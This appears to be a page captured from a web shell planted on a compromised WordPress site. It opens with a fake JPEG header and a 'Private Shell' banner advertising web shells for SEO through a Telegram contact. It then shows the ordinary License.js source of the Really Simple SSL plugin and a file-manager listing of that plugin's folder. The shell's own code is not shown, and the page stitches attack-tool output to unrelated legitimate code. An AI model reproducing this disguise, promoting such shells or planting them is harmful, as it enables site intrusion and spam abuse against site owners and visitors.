����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import {
Component,
} from '@wordpress/element';
import TaskElement from "../DashBoard/TaskElement";
import Placeholder from '../Placeholder/Placeholder';
import * as rsssl_api from "../utils/api";
import { __ } from '@wordpress/i18n';
class License extends Component {
constructor() {
super( ...arguments );
this.noticesLoaded = false;
this.fieldsUpdateComplete = false;
this.licenseStatus = 'invalid';
this.getLicenseNotices = this.getLicenseNotices.bind(this);
this.state = {
licenseStatus: 'invalid',
noticesLoaded: false,
notices: [],
};
}
getLicenseNotices(){
return rsssl_api.runTest('licenseNotices', 'refresh').then( ( response ) => {
return response;
});
}
componentDidMount() {
this.props.highLightField('');
this.setState({
noticesLoaded: this.noticesLoaded,
licenseStatus: this.licenseStatus,
notices: this.notices,
});
}
componentDidUpdate(prevProps) {
if (!this.fieldsUpdateComplete && this.props.fieldsUpdateComplete ) {
this.getLicenseNotices().then(( response ) => {
this.fieldsUpdateComplete = this.props.fieldsUpdateComplete;
this.props.setPageProps('licenseStatus', response.licenseStatus);
this.notices = response.notices;
this.licenseStatus = response.licenseStatus;
this.noticesLoaded = true;
this.setState({
noticesLoaded: this.noticesLoaded,
licenseStatus: this.licenseStatus,
notices: this.notices,
});
});
}
}
onChangeHandler(fieldValue) {
this.fieldsUpdateComplete = false;
let fields = this.props.fields;
let field = this.props.field;
fields[this.props.index]['value'] = fieldValue;
this.props.saveChangedFields( field.id )
this.setState({
fields: fields,
})
}
onCloseTaskHandler(){
}
toggleActivation(){
this.setState({
noticesLoaded: false,
});
const {
licenseStatus,
} = this.state;
if ( licenseStatus==='valid' ) {
rsssl_api.runTest('deactivate_license').then( ( response ) => {
this.props.setPageProps('licenseStatus', response.licenseStatus);
this.notices = response.notices;
this.licenseStatus = response.licenseStatus;
this.noticesLoaded = true;
this.setState({
noticesLoaded: this.noticesLoaded,
licenseStatus: this.licenseStatus,
notices: this.notices,
});
});
} else {
let data = {};
data.license = this.props.field.value;
rsssl_api.doAction('activate_license', data).then( ( response ) => {
this.props.setPageProps('licenseStatus', response.licenseStatus);
this.notices = response.notices;
this.licenseStatus = response.licenseStatus;
this.noticesLoaded = true;
this.setState({
noticesLoaded: this.noticesLoaded,
licenseStatus: this.licenseStatus,
notices: this.notices,
});
});
}
}
render(){
const {
noticesLoaded,
notices,
licenseStatus,
} = this.state;
let field = this.props.field;
let fieldValue = field.value;
let fields = this.props.fields;
/**
* There is no "PasswordControl" in WordPress react yet, so we create our own license field.
*/
return (
<div className="components-base-control">
<div className="components-base-control__field">
<label
className="components-base-control__label"
htmlFor={field.id}>{field.label}</label>
<div className="rsssl-license-field">
<input className="components-text-control__input"
type="password"
id={field.id}
value={fieldValue}
onChange={ ( e ) => this.onChangeHandler(e.target.value) }
/>
<button className="button button-default" onClick={ () => this.toggleActivation() }>
{licenseStatus==='valid' && <>{__("Deactivate","really-simple-ssl")}</>}
{licenseStatus!=='valid' && <>{__("Activate","really-simple-ssl")}</>}
</button>
</div>
</div>
{!noticesLoaded && <Placeholder></Placeholder>}
{noticesLoaded && notices.map((notice, i) => <TaskElement key={i} index={i} notice={notice} onCloseTaskHandler={this.onCloseTaskHandler} highLightField=""/>)}
</div>
);
}
}
export default License;| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ChangeStatus.js | File | 702 B | 0644 |
|
| Field.js | File | 13.04 KB | 0644 |
|
| Help.js | File | 1.61 KB | 0644 |
|
| Host.js | File | 1.71 KB | 0644 |
|
| LearningMode.js | File | 13.74 KB | 0644 |
|
| License.js | File | 5.17 KB | 0644 |
|
| MixedContentScan.js | File | 11.42 KB | 0644 |
|
| Notices.js | File | 782 B | 0644 |
|
| Password.js | File | 1.32 KB | 0644 |
|
| PermissionsPolicy.js | File | 6.12 KB | 0644 |
|
| Settings.js | File | 7.58 KB | 0644 |
|
| SettingsGroup.js | File | 7.35 KB | 0644 |
|
| SettingsPage.js | File | 14.22 KB | 0644 |
|
| Support.js | File | 2.44 KB | 0644 |
|